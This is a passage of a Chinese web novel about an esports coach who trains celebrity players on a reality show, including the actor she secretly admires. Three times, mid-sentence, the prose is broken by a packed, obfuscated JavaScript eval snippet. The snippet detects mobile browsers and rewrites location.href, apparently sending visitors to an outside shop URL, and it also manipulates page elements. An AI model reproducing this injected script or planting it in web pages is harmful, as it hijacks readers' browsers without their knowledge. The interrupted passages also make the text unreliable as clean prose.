大概是偶像当前实在令人昏头没，莫羽的脑袋里没来由地开始浮现一些奇怪的画面，连带着她找灯的手都有点儿慌乱。 终于，啪嗒一声。 灯的开关被打开，暖黄色的灯光霎时间充满了屋子。 灯亮起来的瞬间，莫羽之前纷乱的心思也跟着藏匿进了光里。 二十五、六平米的房间像是小型影厅一般。舒适的沙发椅错落地摆着，正前方则是一块几乎占据了整面墙的幕布。 “哇，谢谢莫羽姐拯救了我！”夏正晨没打算改称呼。 在重见光明之后，他的话重新多了起来。 莫羽想，只是开个灯而已，这位小爱豆未免有些反应过头了。不过，也许这就是所谓的节目效果吧。 她微微点头以示回应，继续着“导游”的职责。 “这里是我们平时复盘的地方，时间在每天晚上八点，也就是结束晚上的训练赛之后。对了，周末队里也会在这里组织一些电影放映活动。” “嗯嗯，这里的椅子超级舒服！”小酒补充道。 夏正晨听到这儿又来了劲儿，“哇，那我们周末组织看叶之前辈的电影吧。” 莫羽感觉这个提议简直是为她而提的，她恨不得立刻点头附议。 但理智牵制着她，让她话到嘴边又吞了回去。 老牌歌手谭山今天一直没怎么说话，直到提到放电影才终于开口加入。 他笑呵呵的，“我觉得这个主意挺好。” 莫羽在内心疯狂感谢了一番谭前辈。 叶之颔首，“谢谢大家对我的抬爱和认可了。” 莫羽带着众人从会议室出来，“三楼是食堂，四楼是选手们住的房间。” 因为只是一周的体验，明星选手们被节目组安排在了附近的酒店，每天早上八点才在俱乐部开拍。所以莫羽只是提了一嘴房间的事情，并没有组织参观。 参观完毕，莫羽不想浪费宝贵的时间在寒暄或是玩闹上。 “那我们等会儿先和青训队的小朋友们打一场吧，然后我们看看具体怎么安排大家的位置和英雄。”她说道。 说实话，莫羽此刻有点忐忑不安。按照她所了解的各位明星的游戏水平，估计在青训队这里就要惨遭血虐开局。 * 废土求生拥有5张不同的地图，每队五人，位置各不相同，分别是狙击手、坦克、突击手、医疗兵和游走。每个位置的武器类型各不相同，彼此配合的战术也不尽相同，因此衍生出了不同流派的打法。 莫羽打的是狙击手，游戏里的主力输出位。 两个小时后—— 机房里角色死亡的提示音此起彼伏，和各位明星的叹气声一起，谱成了一首气氛略显悲伤的交响曲。 因为莫羽要全面评估每一个人的操作和未来位置，助教小酒便扛起了带领大家和青训队打比赛的重任。 他第二十五次叹气，眼神放空、生无可恋。 手机群聊响个不停，来自青训小朋友没大没小的挑衅充满了屏幕，简直在他千疮百孔的心上，又狠狠捅了一刀。 莫羽语重心长地拍了拍他的肩膀，“加油，坚强。” 不仅是小酒，明星学员们的脸色更是难看。显然，青训队的小朋友们不懂什么叫人情世故，哪怕对面是大明星，比起赛来那也叫一个不留情面。 一局结束，每个人的屏幕上显示了硕大的“失败”二字。 机房里一片寂静。 率先打破僵局的是谭山，他在此前的评级测试里，惨遭垫底，便也没什么包袱。 “唉，看来我是年纪大了，好多时候都跟不上大家的节奏。” 徐晓慧也不好意思地摸摸头发，“我有好几个地方都打得太着急了。” 夏正晨原本的活泼状态全然消失，耷拉着脑袋，“莫羽姐，对不起，让你失望了。” 最后说话的是叶之，他板着脸，盯着莫羽的眼睛，问道，“教练，我们要怎么做，才能赢？” 来自偶像的一声教练，让重如泰山的责任感在莫羽心中冉冉升起。 如果自己不能帮助他赢下比赛的话，也太不应该了吧！ 莫羽握拳，暗暗发誓。 “我们先分配一下位置吧，时间比较紧，有针对性的练习能帮助我们更好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135405|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地快速提升水平。”莫羽回望叶之，眼中是笃定的回应。 大家连连点头，此刻听话得像是幼儿园的小朋友。 刚遭遇了青训队的下马威，正是卯足劲儿准备学习然后反击的时刻。 “夏正晨你还是打辅助医疗兵，你的治疗枪用得不错，就是定点治疗瓶位置再把握好一点就好了。” 莫羽看了一眼自己记录得密密麻麻的笔记本，又看了一眼叶之，继续道，“叶之前辈你才开始打坦克，之前应该打得比较少。但是从刚才的对局来看，开盾的意识还是很好的。” 叶之点点头，收下少女教练的夸奖。 “就是有的时候冲得太快，没和队友配合好，有点浪费盾牌。”莫羽先扬后抑。 “晓慧和谭老师的位置其实可以换一下。谭老师跟着叶之前辈后面打突击手，晓慧你可以打游走信息位，汇报对手的情况。” 莫羽发现谭老师虽然有时候会畏手畏脚，但是一旦有人在身边，底气就会立刻足起来。至于晓慧，她的走位不错，假以时日，定能成为队伍的“千里眼”。 想要在这种备赛时间短、赛程又紧张的比赛中拔得头筹，首先要做的就是让每个人找到最适合的位置。 紧接着大家就用最新调整过的阵容开启了几局人机训练。 莫羽正式以狙击手主输出的身份加入队伍，帮助大家在实战中梳理五张地图的不同要点和难点。 虽然看上去一副生人勿近的模样，但她在专业问题上耐心又细致。面对学员们听上去再基础的问题，都会一一认真解答。 这也是为什么在Wings，她是公认的最佳队长，几乎没有不服她的。 “大家还有什么问题吗？”莫羽感觉讲得嗓子要烧起来了。 她得空拧开小酒递过来的矿泉水瓶，干涸的嘴唇瞬间得到了滋润。 大影帝叶之突然抬手，再次认真地盯着莫羽。 莫羽心里又是一怔，“你说。” “我觉得我们可以再打一次训练赛试试。” 叶之坚定不移的目光，将他的好胜心显露无疑。 “好啊。”莫羽看了眼已经指向五点半的时钟，开口道，“不过不着急，大家先吃饭。” “好。” 说着，叶之左手摘下鼻梁上的金丝边眼睛，右手在之前鼻托留下痕迹的地方按压，闭上了双眼。 小爱豆夏正晨则立刻露出八颗牙齿，笑容似盛夏的阳光，凑到莫羽身边。 “莫羽姐，你也是去食堂吃饭吗？” 因为在公司拍摄，领队提前和食堂说好，多做了不少餐食。不过，有些明星要是比较挑剔，也可以让自家团队准备晚餐，导演组并不强求。 莫羽不露声色地收回看向叶之的眼神，“嗯，我和小酒一起。” 言简意赅的回答没能浇灭夏正晨的热情，他自来熟地发出邀请，“那要不我们一起吧？我们队友听说我和你一起拍综艺，都可羡慕我了呢。” 徐晓慧突然插话，“加我一个呗。” 莫羽的眼神不自觉地投向叶之，“你也去吗？” “我都可以，谭山前辈您呢？” 叶之的每一个抉择都像是在莫羽的心上挠痒痒。 谭山摆摆手，看着气色不太好，“我就不了。年纪大了，刚才打游戏时间有点长，得去休息一下。” 说着，谭山便和助理离开了俱乐部。 “那你去吗？” 莫羽平静的问话背后是穷追不舍。 叶之看了一行四人准备出发，重新戴上了眼镜，好像一下戴回了温文尔雅的面具。 他浅笑答应，“好啊。” 5. 暗恋第五天 Wings俱乐部食堂，大家打完饭，端着餐盘边吃边闲聊了起来。 “莫羽姐真的厉害，我之前一直在游乐场那张地图晕头转向的，结果今天一下就指出我忽略的死角。”夏正晨率先开口，夸奖的话像是要把莫羽淹没似的，“很多我平时根本没注意到的坏习惯，也一下被指出来了！” “毕竟是我们队长！”小酒与有荣焉。 他夹了一大块红烧肉，将腮帮子塞得鼓鼓的，说话都变得含糊起来，“队长对这五张地图简直是解刨式的了解。”、 “这形容...有点可怕。”徐晓慧抽了下嘴角，“但意外挺精准的。” 莫羽一边听着几个人对自己的夸夸大会，一边手中的筷子翻了翻面前的面条。她用余光瞥了一眼叶之，心里突然有点期待他也能夸一下自己。 哪怕在喧闹的食堂，叶之也能吃出一副在米其林三星餐厅的样子。西装外套整齐地搭在椅背上，白色衬衫袖子被挽起，连带着廉价的餐盘和筷子都变成了精美的艺术品一般。 但他依旧是那副礼貌却疏远的样子，只是专心吃饭。 小酒是个人来疯，今天话尤其多。他好奇地看了一眼几乎没动筷子的夏正晨，“你怎么不吃啊？” “要控制体重。”夏正晨托腮。 小酒又看了一眼正常吃饭的叶之，“那话说，演员是不是不需要控制啊？” 叶之不置可否。 倒是夏正晨突然感叹，“但是像我们做偶像的话，粉丝确实会比较在意身材。对了，你们电竞选手是不是不需要保持身材啊？” 莫羽和小酒手中的筷子同时一滞，仿佛膝盖中了一箭。 好吧，按照常人的理解，确实如此... 一直没开口的叶之，这时却放下筷子，淡淡开口，“身体健康才是最重要的，电竞选手也有专门的营养师和体能训练团队。” 上一次叶之回怼夏正晨是涉及他自己，但这次却是为了不相关的他人。 夏正晨一下愣了神。 “是我没说清楚。”他讪笑。 “不想吃下次可以不用拿，不然浪费粮食。”叶之说这话的时候一眼没看夏正晨，反而自顾自喝了一口茶水。 用平静的表情说出强硬的话，不愧是自己的偶像叶之！ 而且，叶之这是在为自己说话吧？ 像是吃了一整块甜到发腻的蛋糕，莫羽感觉今天心情瞬间美妙了起来。 她不禁又偷瞄了一眼叶之。 叶之正在用纸巾擦着嘴，眼前的餐盘吃得很干净。 莫羽低下头，夹起自己一向不太爱吃的胡萝卜送进嘴里。 唔，也许，也没那么难吃吧。 * 第二场训练赛在饭后打响。 明星选手们集合完毕的时候，青训队的队员们已经早早在线上等待了。 “看看大家有没有进步。”说莫羽朝小酒抬了下巴，“这次也还是辛苦你打狙击手输出了。” 小酒无奈点头，拖着身体坐到了电竞椅里。 经过下午的针对性训练和详细讲解，这一次大家的信心和实力都有了肉眼可见的提高。 特别是开场互相试探的阶段，明星队完全没落下风。 “大家注意右后方的通道，对方的狙击手正埋伏在那里。”徐晓慧扶了下耳麦，和大家同步信息。 她的操作比上一局更放松了一些。 “收到，我去埋伏。叶前辈你等会儿带着谭前辈冲一波。”小酒熟练地操作着电脑里的人物，跳上了房屋的二层，来到了窗口处暗中观察。 “好。”叶之沉声应道，深吸一口气，屏幕中的角色举起了盾牌，“走！” “好嘞小叶。” “好的前辈。” 谭山和夏正晨的回复几乎是同时在耳麦里响起。 大家如此顺畅的交流和默契的配合，成功为小酒创造机会，给队伍带来了第一个人头。 “漂亮。”叶之声音中带一丝难得的激动。 小酒率先干掉了对面的突击手，5打4，开局顺利。 随着对面狙击手的一枪精准爆头，徐晓慧因为走位问题被抓个正着。 “抱歉。”她摘下耳机，有点懊恼。 尽管少了一位重要的游走情报员，但叶之、谭山、夏正晨三人组的配合却越发默契。他们集合完毕，和对面正面开火。 霎时间，子弹和烟雾弹齐飞，枪声不绝于耳。 而烟雾散开时，青训队的医疗兵和明星队的谭山双双阵亡。 此时，两队均剩下三人。 但青训队显然打多了后期局，心态完全没受到影响。他们顺利地在地图的各个角落里集齐了五片复活包的碎片，成功在后期获得一次宝贵的复活队友的机会。 青训队乘胜追击，连续收下叶之和夏正晨的人头。 再十分钟，小酒东躲西藏生涯正式结束，被小朋友们成功围剿。 团灭！ 失败的大字再次占据了大家的屏幕，低气压笼罩着机房，压在众人的身上。 莫羽放下记录板，安慰道：“虽然输了，但是这次打得不错。” 叶之靠在电竞椅的椅背上，一言不发。 冷静了一会儿后，叶之摘下眼镜，掏出口袋里的眼药水。 他仰头，两滴药水落在了那双漂亮的眸子里，荡起了某人心中的一池春水。 莫羽脑袋一下成了一片空白，话到嘴边又转了回去，便只好说道，“时候不早了，我们去会议室复盘吧。” * 会议室里，投影仪投下一片白光，而硕大的屏幕之上是众人下午和晚上两局比赛的视频。 莫羽站在光下，整个人被盖上了一圈柔和的光晕，强烈的白炽光线将发丝也照得透亮。 就是她嘴里的点评，实在和温柔沾不上半点关系。 而且就算是自己的偶像叶之，也躲不过莫羽的犀利。那些少女心思在专业面前，不值一提。 “游乐场这张地图，其实可以在旋转木马区域依靠掩体冲一下，作为坦克还是有点犹豫了。”莫羽朝着叶之的方向认真说道。 莫羽的复盘详细而严肃，屏幕里视频被反复拖放，变换的色彩倒映在她的脸上，投下五彩的光斑。 在电竞这个领域，叶之丝毫没有大影帝的傲气。相反，他坦然地接受了这位少女教练的指导。 “好，我下次注意。”他谦虚地将莫羽的意见照单全收。他的声音因为一天的录制而有些疲惫，却莫名很有磁性。 莫羽瞬间红了耳根。 幸好，会议室够暗，无人发现这个秘密。 复盘的过程持续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135406|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个多小时，明星学员们从聚精会神听到精神涣散。 除了一个人。 叶之依旧双眼有神，闪烁着在黑暗中也掩盖不住的光芒。 莫羽无奈，只好结束了满满一整天的录制，“今天就复盘到这儿吧，大家早点回去休息，明天还要继续打训练赛。” 导演及时喊了卡，“各位老师今天辛苦了！” 于是，大家起身，陆续和团队三三两两离开了俱乐部。 徐晓慧正在等自家没了人影的经纪人，便好奇地凑到小酒的身边，低声问道，“你们复盘都这么久的吗？” “平时比这还长！队长今天已经算是加快速度，主要抓重点给大家讲了。”小酒一脸这算什么的表情，可把徐晓慧吓到了。 她不由哆嗦一下，感叹，“看来果然每一行要做好都不容易。” 莫羽手上磨磨蹭蹭地收拾着会议室，眼神却时不时朝叶之的方向望去，所谓醉翁之意不在酒。 经历了一天的拍摄，叶之的西装仍旧笔挺。 他一边和节目组的工作人员微微点头表示感谢，一边迈着大步朝门口走去。最后，只给众人留下一个潇洒的背影。 莫羽收回眼神，手里的动作加快，她的日程可还没结束。 导演组有点不好意思地拜托，“等会儿麻烦莫羽和小酒老师给我们做一个备采了。” 莫羽看了眼墙上的钟，时针指向十点。换做平时，那应该是回房洗漱，然后享受一会儿独自追星的固定娱乐时间。、 不过她转念一想，今天实际上也算是追了一天星了。 导演组的问题很常规。 “今天第一天训练感觉如何？你对大家有信心吗？” 莫羽脸上挂着浅浅的微笑，“虽然都输了，但是青训队的实力并不弱，大家能从训练中发现问题，才是最大的意义。” 她停顿了一下，回答第二个问题，“我的目标一直没有变，我希望和大家一起拿下最终的冠军。” “那你觉得队伍里谁最有可能拿下最有价值选手呢？”导演组追问。 “叶之吧。”莫羽思忖片刻，答道。 至于小酒，今天的他没有辜负领队的期望，拍摄过程都表现得非常专业。就算是在被明星队友坑，在遭遇青训小朋友侮辱性极强的n连杀时，也没破口大骂。 领队甚至有点感谢莫羽没有选白一久的女神孟茜，否则，这小子可指不定说出什么放肆的话来。 但导演组也知道这个公开的秘密，没打算让这事轻易翻篇。 “莫羽没有选择孟茜，你怎么看？” 小酒脸上立刻浮现遗憾之意。 但他张了张嘴，没说话，偷瞄了一眼在旁边等待的莫羽，好像在寻求意见似的。 莫羽收到了信号，好笑地为他打开绿灯，“看我干嘛，问你呢。” 终于得到队长首肯的小酒，这才放心大胆地表态：“没能和女神一队我真的感觉很可惜，我超级超级喜欢孟茜！这事儿我还和队长说过呢！！所以我们队长没选她的时候，我真的，心如刀割...” 他捂住胸口，戏精上身。 不过，小酒也不是全然没分寸。在说完这些后，他赶紧找补，“不过我也理解队长的选择。因为就现在的阵容搭配来说，她说要拿冠军的话，没在开玩笑的。” 6. 暗恋第六天 随后几天的录制几乎是第一天的无限复制，大明星们头一次体会到了打游戏打到想吐是种什么感受。 “睁开眼打到闭眼，我昨天梦里都是游戏的场景！”徐晓慧虚弱地瘫在椅子上。 谭山连连点头，“我这老年人，感觉都要头晕眼花了。” 但更让他们心气全无的，是那如同高墙一般永远也无法跨越的青训队。 “啊啊，感觉我们是不是永远赢不了啊。”夏正晨因为老是输，几乎每天都在炸毛的边缘反复试探。 果真是小孩子脾气，莫羽想。 但最令莫羽意外的，其实是自家偶像叶之这几天宛如化学反应般明显的变化。 如果她的感觉没出错，叶之原本盯着电脑屏幕的淡定自若，早就演变成了野心勃勃的不灭之火。连带着他嘴里那句“再来一局”，也颇有咬牙切齿之意。 * 于是，某天导演打板后，影帝提议要加训的时候，莫羽也没太惊讶。 “等会儿我们再打一会儿吗？”叶之提议。 他的话是朝着所有人说的，明明是征询的语气，从他这张脸说出来，莫名多了分不容置喙的意思。 莫羽没什么意见。 能够和叶之多待一会儿，还是在没有摄像机的情况下，她自是举双手赞成。 但队里被拉着训练了一整天的人，却不乐意了。 夏正晨率先给出了一个无懈可击的理由。 他虽然输得炸毛，但可不打算为了一个综艺节目加班，“我等会儿还要回去练舞准备新专辑，那我先走了。” 至于谭山前辈，则以年纪大了身体抱恙到点下班。 “我都到要睡觉的点了。” 导演组见这加班局没组起来，松了口气。连带着场地里的摄像大哥也都收好拾机器、捋好了接线，火速下班。 “老师们明天见。”机房响起此起彼伏的道别。 霎时间，这偌大的机房里便只留下徐晓慧、叶之和莫羽三个人了。 深夜，密闭的空间，和自己喜欢多年的偶像共处一室，气氛莫名有些旖旎。灯光打在叶之的侧脸，衬得他像是站在舞台上独白的演员，吸引了莫羽的全部目光。 莫羽收回视线，又没忍住，便装作不在意地瞥了一眼叶之，“我陪你们打一会儿吧。精神这么好？” “想再熟悉一下这张医院地图。”叶之开口，眼中满是求知欲。 莫羽为自己竟然在这么正式的场合产生“邪念”而忏悔。 徐晓慧的声音随即响起，也似在提醒莫羽，现在并非是二人世界。 “我就是单纯夜猫子，反正现在也睡不着，不如练习一会儿也好。” “好啊，那我们就再开一把医院这张图。”莫羽拉开凳子，重新坐会了电脑前。 晚上十一点，机房里响起一阵阵清脆的鼠标和键盘的敲击声。 莫羽的提示和讲解间或响起，回答她的则是叶之那低沉却有力的“好”。 那肯定的回应像是在心上敲击的低音鼓点，让莫羽恍惚，手上的鼠标差点没压住。一向精准的狙击手，子弹破天荒地偏离了靶心。 因为没有摄像头的缘故，叶之的语气里略带调侃，“困了？” 莫羽心虚，“啊...是有点儿。” 她手上没敢停下，调整了下呼吸再次出手，这次正中敌人额头。 “漂亮！”徐晓慧的声音再度响起，“莫羽你真的太厉害了！” 莫羽暗自舒了一口气，“我现在这个位置非常适合埋伏，所以下次你也可以注意看看对方狙击手会不会抢占这个位置。” 耐心的叮嘱成功转移了两人的注意力，机房里重新被鼠标和键盘声笼罩，在安静的环境里格外清晰。 一局结束，莫羽靠在了椅背上，右手揉了揉太阳穴。 叶之看了眼墙上时钟，分针此刻接近五十，午夜将至。 “是有点太晚了，抱歉。”他也摘下眼镜，有些疲惫。 “没事没事。”莫羽赶忙否认，“想赢就是要练习啊。” “谢谢。”叶之的声音如同深夜的一杯红酒，在陈年的酿造过程中，氤氲出了雪松和湿树叶类混杂的气味，优雅又迷人。 莫羽感觉自己只抿了一口，好像便醉了。 但叶之最终还是没再拉着她和徐晓慧加班。 “今天麻烦了。”他礼貌地说道。 莫羽盯着他，离开游戏，她便陷入语塞。 徐晓慧看了一眼不知道为什么对视无言的两人，决定率先开溜。 “那个，我先回去酒店休息了，明天见！”语气里满是下班的喜悦。 “嗯，明天见。”莫羽挥挥手。 此刻，这机房便彻底只剩下了莫羽和叶之两人。 莫羽移开视线，没活找活地反复整理着桌上的耳机和圆珠笔。短短的几秒被无限拉长，她感觉空气都变得黏腻了起来。 叶之修长的手指按下电脑关机键，又将耳机横挂在电脑屏幕之上，这才施施然起身。 安静而密闭的环境，营造出了夜晚独有的暧昧氛围。莫羽感觉心脏要从胸膛里跳出来了。明明叶之的每一个动作都很常规，但仿佛都一下下撩拨在她心上。 “明天见。”叶之道别。 “那个...”莫羽下意识不想这么快结束独处，出声打断。 叶之回头看着她，问道：“怎么了？” “哦，那个...”莫羽的脑袋飞速运转，找到了一个听上去不那么奇怪的问题，“前辈你经纪人怎么没来接你？” 叶之心情看上去不错，“哦，我和他说了最近加练，就让他别等我了。” “我看上去像是那么大牌的人吗？”他向前迈了一步，笑问。 莫羽赶紧在胸前接连摆手，“没有没有，我才不信网上那些八卦娱记乱说的话呢。” 一想到那些捕风捉影的抹黑，莫羽她就来气。 叶之挑眉，追问，“你还看我报道？” “啊...”莫羽眼中闪过一丝慌乱，“上节目之前搜过。” 呼，这不能节目录制第一周就惨遭掉马吧！ “哦。”叶之不置可否，“那明天见。” “明天见！”莫羽赶紧挥手道别。 叶之转身推门而出后，莫羽才放下心来。 还好还好，今天也把追星马甲保住了！ 莫羽望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135407|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着离去的偶像的背影，感觉以前屏幕里那个帅气却充满疏离感的叶之，似乎在一天天的相处中逐渐变得鲜活生动起来。 * 五天后，《冠军狙击》第二集正式播出。 节目收视率和网络点击率再创新高，俨然成为了当下话题度最高的综艺节目。 这一集的主题是各支队伍的训练日常，又名明星队被各大俱乐部青训和二队血虐史。 此时此刻，字母站上排名第一的视频，正是《来俱乐部的第一天vs来俱乐部的第七天》，明星队员们肉眼可见的苍老，真实又搞笑。 各个队伍在休赛季获得了难得的超高关注度，看起来似乎是三赢的理想局面。 但Wings领队却愁眉不展。因为节目的风暴中心不是别人，而是自家选手莫羽。 字母站排名第二的视频也是《冠军狙击》的节目片段，短短五分钟，成功让莫羽成为了众矢之的。 节目组将第一天后采时小酒关于莫羽的后半句夸奖截去，只保留了他略带不爽的没有选择影后孟茜的“抱怨”。 再加上莫羽在最有价值选手的问题上，没有选择看上去实力更强的夏正晨，而是选择影帝叶之的举动，着实说不上清白。 孟茜的粉丝被彻底点燃了，弹幕铺天盖地，像是要将人溺亡。很快，这一条“详细分析莫羽”的所谓解读视频从字母站传播到了各大社交平台。 深夜，莫羽躺在床上，看着刷屏的微博和字母站界面，干脆利落地连续上滑退出软件。 说实话，这阵仗她也不是第一次见了。 之前比赛的时候，也会有铺天盖地的不同舆论场的声音。唔，和总决赛关键局前夜互联网上各路粉丝的架势，今天可能是小巫见大巫？ 更何况，对于舆论问题，莫羽的处理方法一向简单粗暴——眼不见心不烦，倒头睡觉，声音自动屏蔽。 但这次，莫羽感觉有点儿不一样，她在床上翻来覆去，那些评论像是刻进脑子一样，挥之不去。 于是干脆，她盯着天花板，在脑内批复起点赞最高的几条评论。 【莫羽不会和我是同担吧？】 好吧，这位网友加一分。 【莫羽一定是针对我们孟茜！她就是嫉妒我们姐姐的美貌！！】 这就纯属冤枉了！不过孟茜确实是挺美的。 【连队友都吐槽她，估计人缘很差吧？】 不好意思，白一久已经就这件事和我滑跪了好几遍了，哼。 【她是不是喜欢影帝啊？】 ...... 莫羽呼吸一滞，发现自己竟然无法在心里顺畅地回复。 自己喜欢叶之吗？ 不是偶像那种喜欢，而是男女那种喜欢。 三秒，熟悉的滋滋冒烟声仿佛在她耳边响起。 好吧，这问题对她来说确实有点儿过载了。 莫羽干瞪眼了五分钟后，终于得出一个逻辑自洽的结论—— 嗯，自己对叶之完全就是纯粹的追星情感！ 而给偶像最好的应援，莫过于给他一场盛大的胜利。 是时候带偶像上分了！她暗自握拳发誓，眼中满是斗志。 7. 暗恋第七天 很快，第一个“应援”的机会就出现在她眼前。 《冠军狙击》的第三集主题是热身对抗赛，网友们期待的各大明星战队的初次交手就此展开。 六支队伍重新相聚在初相遇的演播厅。 徐晓慧猛吸了一口演播厅内的空气，“一周不见，分外想念啊！” “想念什么？”莫羽好奇问道。 她和徐晓慧是俱乐部唯二的女生，加上徐晓慧又是那种性子活泼的外向人格，一周下来两人的关系拉近不少。 “想念这种轻松淳朴的氛围。” 莫羽了然，“嗯，但我之后我们会一直赢的。” “诶？” 开机的提示声打断了闲聊。 主持人开始走流程：“我们先进行热身赛的抽签，莫羽战队先来吧。” “有谁手气比较好的吗？”莫羽在台下尴尬地摸了下鼻子，问道。 徐晓慧和夏正晨双双摆手，看来手气糟糕的程度，和自己不相上下。 众人将充满希冀的目光投向了叶之和谭山身上。 夏正晨此时又开口，“叶之前辈您拿了国内外这么多奖，运气一定很好吧。” 徐晓慧不动声色地再次向后撤退了一步，不想卷入这场纷争。 就算是莫羽这种神经大条的人，也看出了夏正晨三番五次略显阴阳怪气的发言。叶之拿奖明明是因为他的实力，再不济也是因为这张脸，运气反倒是最不重要的因素吧。 莫羽正准备给自己偶像反驳两句，当事人倒是直接承了下来。 “那我来吧。” 他站起身，整理了两下西装，大步流星上了台中央。 主持人乐见其成，“看看我们莫羽战队的叶之，能够为队伍抽取哪位对手呢？” 叶之右手伸进箱子，不过两秒不到，那青筋清晰可辨的胳膊便抽了出来。他从手心取出纸条展平，朗声念出其内容，“我们的对手是Ocean战队。” 他的英语发音很标准，就是只一个单词有点不够听。 莫羽想，回去得把叶之当年在国外领奖发言的视频翻出来再听一遍。想当年，叶之在柏林金棕榈现场的英语发言，简直是被各大博主拉出来逐字逐句夸奖的存在。 “Ocean俱乐部有什么想说的吗？”主持人将神游的莫羽拉回现场。 教练是位略显腼腆的男生，网名叫Daysee。他扯起一个笑容说道：“谁来我们都很有信心。” 可惜他说话声音气息不足，削弱了气势。 事实上，Ocean俱乐部是这六个俱乐部里实力最弱的，教练的世界排名也是六个人里最低的。 如果用这个标准来衡量这次抽签的好坏，那叶之确实是手气绝佳。 他回到座位，朝夏正晨勾起微笑，“看来，我运气确实好。” 夏正晨没有退让，“那还真是羡慕前辈啊。” 气氛有种说不出的怪异。 莫羽实在没忍住，转头和徐晓慧咬耳朵。 “他是不是在阴阳怪气？” 徐晓慧一脸无语，用气声回复道：“妈呀，你才发现啊...” 莫羽得到了确认，终于恍然大悟。 “啊...” “你果然好迟钝。”徐晓慧看着她有点呆的样子扶额，手下意识地捏上了她仍有些婴儿肥的脸颊。 “唔...”莫羽鼓起腮帮子，瞪圆眼睛，以示拒绝。 * 热身赛的氛围比平时和青训队比赛轻松多了。 毕竟一周过去，所有人的技术水平都有不同程度的提升，面对六支队伍里最弱的一支，Wings可谓是踩着对方的人肉台阶，以找回信心的局面。 徐晓慧的侦查能力得到了飞跃成长，她熟练地绕后，将对方的位置汇报给了队伍。按照她的话，那就是，好像有种在民国戏里演美女情报员的感觉。 “莫羽莫羽，我这里有三个人！就在碰碰车区。”她今天特地画了红唇，戴着耳机唇瓣轻启的样子，确实如戏中人一般。 “收到，谢了。”莫羽没有犹豫地出发，一边安排大家的走位，“叶之和谭山前辈从另一边绕过去，如果他们撤退的话，应该大概率能在这儿截住。” 窗口的狙击枪已经布置完毕，一场进攻蓄势待发。 砰的一声，号角吹响。 莫羽瞬间将Ocean-林灵爆头，对方血条直接空了。 但在废土求生里，这种情况并不是真正的死亡。如果在空血的五秒内有队友能进行十秒的一对一帮扶，就能挽救生命。 另一名队友下意识想过去救援，刚一冒头，被守株待兔的莫羽抓个正着。 砰——又是一枪。 “Wings-莫羽击杀Ocean-林灵。 Wings-莫羽击杀Ocean-宁非远。” 系统播报显示了这二人的最终命运。 “买一送一，芜湖！”徐晓慧振臂高呼。 热身赛所有队伍都能在大屏幕里看到直播。莫羽这教科书般收割的表现一出，众人也被震撼了。 坐在后台观赛的胜点队Shiny，不禁赞叹道：“果然是莫羽啊！” Ocean的另外一名队员在听到枪声的第一秒拔腿就跑，完全没想要拉一把队友的意思。正当他以为自己逃出生天，避免自己队伍被一锅端的时候，他的面前陡然出现两个人影。 叶之和谭山根据莫羽的指挥，已经在这里等了一会儿了。这会儿终于蹲到对手，那叫一个激动。 叶之开盾，谭山开火，默契十足。 系统提示在屏幕上浮现—— “Wings-谭山击杀Ocean-刘轩。” 短短三分钟里，Ocean已经损失了三名队员，而Wings还是满员的状态，比赛几乎失去悬念。 很快，场上就只剩下专业选手Daysee一人。他回天乏术，很快被Wings战队的众人前后围堵，迎接死亡的命运。 “哇哇！我们赢了！！”徐晓慧的心情异常激动，她摘下耳机，熊抱住身旁的莫羽。 夏正晨眉眼弯弯，眼神亮晶晶地看着莫羽，一脸崇拜。 “莫羽姐，你真的好厉害啊！想给你一直当辅助！” 换做其他人面对小爱豆这样的攻势估计已经被拿下了，但莫羽此刻内心毫无波澜。 “过誉了。”她一句话将夏正晨要说的话堵在了喉咙。 莫羽的眼神瞥向了叶之。 叶之正盯着电脑屏幕，认真地看着这场比赛的数据，眼镜反射着光芒，遮住了他深邃好看的眸子。 莫羽心里一沉，挫败感袭来。 自己努力带偶像赢得胜利，结果偶像一眼没看自己。 徐晓慧拉了下她的衣角，“莫羽，你怎么不说话了？” “我去看看数据。” 莫羽找了个借口，也回到了自己的座位前。 结果无心插柳柳成荫，叶之一听到数据这个词，立刻起了兴趣。 他转头问道：“教练，等会儿复盘吗？” 莫羽忙不迭点头，“我们先看其他两场比赛，等会儿一起复盘。” 下一场比赛的双方队伍已经来到了现场—— 胜点对阵Rainbow。 胜点的Shiny带着队伍走到了莫羽面前，“打得不错。” “这么客气？”毕竟，莫羽和Shiny是老对手了，这种和谐的场面可不多见。 “真心的。”说着，他叹了一口气，似是包含了诸多无奈，“大家都被虐了一周了。你这队伍带的，一鸣惊人啊。” 莫羽了然。 孟茜从Shiny身后探出脑袋，大波浪自然垂在耳侧。 